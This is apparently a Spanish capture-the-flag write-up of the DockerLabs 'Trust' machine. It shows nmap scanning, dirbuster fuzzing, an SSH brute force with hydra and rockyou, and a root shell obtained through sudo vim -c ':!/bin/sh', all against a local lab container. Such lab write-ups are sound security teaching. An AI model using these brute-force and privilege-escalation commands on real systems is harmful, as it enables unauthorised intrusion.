WriteUps Trust

22 May 2024
4 minutos

Progreso del WriteUp#

Reconocimiento inicial#

El primer paso consiste en iniciar la máquina. Esto se puede lograr ejecutando el siguiente comando, una vez que se haya descargado la máquina:

dockerlabsTrust.png

Una vez iniciada la máquina, el script de despliegue me proporciona la dirección IP de la máquina, por lo que procedo a realizar un escaneo de puertos para identificar los servicios disponibles:

BASH
1
nmap 172.17.0.2

El resultado del escaneo de puertos fue:

BASH
1
2
3
4
5
6
7
8
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-21 19:14 EDT
Nmap scan report for 172.17.0.2
Host is up (0.0000050s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:42:AC:11:00:02 (Unknown)

Resultado: El escaneo de puertos reveló dos servicios importantes:

  • Puerto 22: Servicio SSH abierto.
  • Puerto 80: Servicio HTTP abierto.

Fuzzing Web#

El siguiente paso que realicé fue un fuzzing web, ya que había un servidor web corriendo en la máquina. Utilicé dirbuster y obtuve el siguiente resultado:

BASH
1
2
3
4
5
6
7
8
9
└─# dirbuster 
Starting OWASP DirBuster 1.0-RC1
Starting dir/file list based brute forcing
Dir found: / - 200
Dir found: /icons/ - 403
Dir found: /icons/small/ - 403
File found: /secret.php - 200
Dir found: /server-status/ - 403
DirBuster Stopped

Resultado: En el resultado se muestra la existencia de un archivo llamado secret.php que al visitarlo me muestra una página con el siguiente contenido:

SecretTrustDockerlabs.png

En el código fuente de la página no encontré nada interesante, pero recordando que el servicio SSH estaba activo en el puerto 22, utilicé el nombre de usuario mario encontrado para realizar fuerza bruta.

Fuerza bruta SSH#

Ya que la web no proporcionaba mucha información útil más allá de un posible nombre de usuario, procedí a utilizar hydra para realizar un ataque de fuerza bruta de la siguiente manera:

BASH
1
hydra -l mario -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh

El resultado fue el siguiente:

BASH
1
[22][ssh] host: 172.17.0.2   login: mario   password: QnVzY2EgbGEgY2xhdmUgZW4gb3RybyBsYWRvCg==

Con la contraseña obtenida, logré acceder por SSH con el usuario mario:

BASH
1
ssh mario@172.17.0.2

Escalada de privilegios#

Una vez conectado como el usuario mario, procedí a escalar privilegios. Para ello, utilicé el comando sudo -l, obteniendo el siguiente resultado:

BASH
1
2
3
4
5
6
7
~$ sudo -l
[sudo] password for mario: 
Matching Defaults entries for mario on 30dc76e27a9d:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, use_pty

User mario may run the following commands on 30dc76e27a9d:
    (ALL) /usr/bin/vim

Resultado: El usuario mario podía ejecutar el comando /usr/bin/vim con permisos elevados. Consulté GTFOBinsy encontré una forma de aprovechar este permiso para obtener acceso como root ejecutando el siguiente comando:

BASH
1
sudo vim -c ':!/bin/sh'

Con este comando, logré obtener acceso completo como root.

pwnedTrustDockerlabs.png

Aprendizaje#

La máquina Trust me permitió practicar varias técnicas de reconocimiento y explotación, desde fuzzing web hasta fuerza bruta y la escalada de privilegios mediante la ejecución de vim con permisos elevados. Aprendí la importancia de revisar los permisos sudo asignados a cada usuario y cómo herramientas como GTFOBins pueden ser clave para identificar métodos de escalada de privilegios en sistemas mal configurados.

Comandos#

  1. Despliegue de la máquina:
    BASH
    1
    sudo bash auto_deploy.sh trust.tar
    
  2. Escaneo de puertos:
    BASH
    1
    nmap 172.17.0.2
    
  3. Fuzzing web con Dirbuster:
    BASH
    1
    dirbuster
    
  4. Fuerza bruta SSH:
    BASH
    1
    hydra -l mario -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
    
  5. Acceso por SSH:
    BASH
    1
    ssh mario@172.17.0.2
    
  6. Escalada de privilegios con vim:
    BASH
    1
    sudo vim -c ':!/bin/sh'